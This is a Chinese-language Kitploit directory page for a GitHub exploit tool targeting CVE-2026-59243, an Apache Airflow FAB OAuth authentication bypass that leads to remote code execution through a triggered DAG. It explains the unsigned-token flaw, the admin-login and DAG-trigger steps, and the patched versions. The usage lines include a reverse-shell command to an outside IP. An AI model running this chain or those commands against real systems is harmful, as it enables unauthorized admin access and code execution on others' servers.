Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-59243_exploit — Apache Airflow FAB OAuth 认证绕过(CVE-2026-59243)的漏洞利用程序,可通过 REST API 触发精心构造的 DAG,实现管理员访问和远程代码执行。 | Kitploit
工具/GitHubGitHub/0xdak/cve-2026-59243_exploit
身份验证与授权漏洞利用Web应用程序漏洞利用渗透测试红队API 安全
GitHub0xdak/cve-2026-59243_exploit

CVE-2026-59243_exploit

Apache Airflow FAB OAuth 认证绕过(CVE-2026-59243)的漏洞利用程序,可通过 REST API 触发精心构造的 DAG,实现管理员访问和远程代码执行。

查看仓库
16天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-59243 — Apache Airflow FAB Provider OAuth 认证绕过 → DAG RCE

在 Apache Airflow 的 FAB auth-manager provider(apache-airflow-providers-fab)中存在认证绕过,可通过触发的 DAG 实现远程代码执行。

该提供程序默认在禁用签名验证的情况下解码 Azure OAuth id_token(airflow/providers/fab/auth_manager/security_manager/override.py,_decode_and_validate_azure_jwt):

root@kitploit:~
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

这些声明直接映射到身份——oid → 用户名,roles → role_keys——并且 AUTH_ROLES_MAPPING 将 roles=["Azure-Admins"] 声明转换为 Admin 角色。由于令牌的签名/签发者/受众从未被检查(CWE-347),攻击者完成 OAuth 流程后即可在没有任何真实凭据的情况下以 Admin 身份进行认证。随后,Admin 可以触发一个执行任意命令的 DAG。

  • 受影响版本: apache-airflow-providers-fab < 3.7.3(配合 apache-airflow >= 3.0.2)
  • 修复版本: 3.7.3(默认值已改为 verify_signature=True;令牌会针对 Microsoft 的 JWKS 进行验证)
  • CWE: 347(加密签名验证不当)
  • 默认端口: 8080(Airflow UI + REST API)
  • 影响: 未认证的 Admin 访问 → 通过 DAG 任务实现 RCE(以 Airflow worker 用户身份)

环境要求

仅需 Python 3 标准库。目标必须配置了存在漏洞的 Azure OAuth 提供程序的 FAB auth manager,并且(对于 RCE 步骤)需要有一个 DAG,其任务会运行攻击者控制的 dag_run.conf。

用法

root@kitploit:~
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

工作原理

  1. 认证绕过 —— 使用 cookie jar 驱动 OAuth 流程(GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)。FAB 接受未签名/伪造的 id_token,并以 Admin 身份登录,设置 session cookie 和 _token cookie(REST API 期望的 JWT)。
  2. RCE —— 使用 {"conf":{"cmd":"..."}} 向 POST /api/v2/dags/<dag>/dagRuns(Bearer _token)发送请求,触发一个 BashOperator 运行 dag_run.conf['cmd'] 的 DAG。每次运行使用唯一的 logical_date((dag_id, logical_date) 对在元数据库中是唯一的)。

该工具还会将 OAuth authorize 重定向中的 loopback 主机重写为目标主机,因此可用于攻击那些在服务器配置中将 IdP 通告为 127.0.0.1 的远程目标。

注意

本工具利用的是令牌验证缺陷。要获得 Admin 权限,需要 OAuth 流程产生一个具有高权限 roles 声明的令牌——在 IdP/令牌可被影响的情况下这很容易,因为 Airflow 永远不会验证签名。RCE 步骤假设存在一个执行 dag_run.conf 的 DAG(一种常见模式);否则,Admin 访问权限也可以通过其他 Airflow 功能加以利用。

修复建议

将 apache-airflow-providers-fab 升级到 ≥ 3.7.3;切勿将外部断言的 OAuth 角色声明直接映射为 Admin;不要以 root 身份运行 Airflow;不要让 UI/API 暴露在不受信任的网络中。

免责声明

仅用于授权的安全测试和教育目的。请仅对您拥有或获得明确测试许可的系统使用本工具。

下载工具